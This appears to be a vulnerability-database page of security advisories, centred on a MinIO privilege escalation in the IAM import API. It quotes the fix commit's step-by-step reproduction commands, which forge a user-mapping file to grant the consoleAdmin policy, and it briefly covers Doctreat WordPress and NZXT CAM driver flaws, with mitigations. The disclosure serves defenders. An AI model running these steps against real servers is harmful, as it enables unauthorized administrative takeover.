Summary

MinIO vulnerable to privilege escalation in IAM import API

Details

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date:   Wed Dec 11 18:09:40 2024 -0800

    fix: Privilege escalation in IAM import API (#20756)

    This API had missing permissions checking, allowing a user to change
    their policy mapping by:

    1. Craft iam-info.zip file: Update own user permission in
    user_mappings.json
    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`

    Here `nobody` can be a user with pretty much any kind of permission (but
    not anonymous) and this ends up working.

    Some more detailed steps - start from a fresh setup:

    ```
    ./minio server /tmp/d{1...4} &
    mc alias set myminio http://localhost:9000 minioadmin minioadmin
    mc admin user add myminio nobody nobody123
    mc admin policy attach myminio readwrite nobody nobody123
    mc alias set nobody http://localhost:9000 nobody nobody123

    mc admin cluster iam export myminio
    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
    cd /tmp/x
    unzip myminio-iam-info.zip
    echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
          iam-assets/user_mappings.json
    zip -r myminio-iam-info-updated.zip iam-assets/

    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
    mc admin service restart nobody
    ```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam {
...
}

location /minio/admin/v3/import-iam-v2 {
...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

Vulnerability from github – Published: 2026-06-10 12:33 – Updated: 2026-06-10 12:33

Details

The Doctreat Core plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.6.8. This is due to the doctreat_process_registration() function not properly restricting the roles that a user can register with. This makes it possible for unauthenticated attackers to register as an administrator user.

Severity

9.8 (Critical)

Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36

Details

A privilege escalation vulnerability exists in the WinRing0x64 Driver Privileged I/O Write IRPs functionality of NZXT CAM 4.8.0. A specially crafted I/O request packet (IRP) can cause increased privileges. Using the IRP 0x9c40a0dc gives a low privilege user direct access to the OUT instruction that is completely unrestrained at an elevated privilege level. An attacker can send a malicious IRP to trigger this vulnerability.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Mitigation MIT-1

Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-48

Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Mitigation MIT-49

Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CAPEC-122: Privilege Abuse

An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.

CAPEC-233: Privilege Escalation

An adversary exploits a weakness enabling them to elevate their privilege and perform an action that they are not supposed to be authorized to perform.

CAPEC-58: Restful Privilege Elevation

An adversary identifies a Rest HTTP (Get, Put, Delete) style permission method allowing them to perform various malicious actions upon server data due to lack of access control mechanisms implemented within the application service accepting HTTP messages.
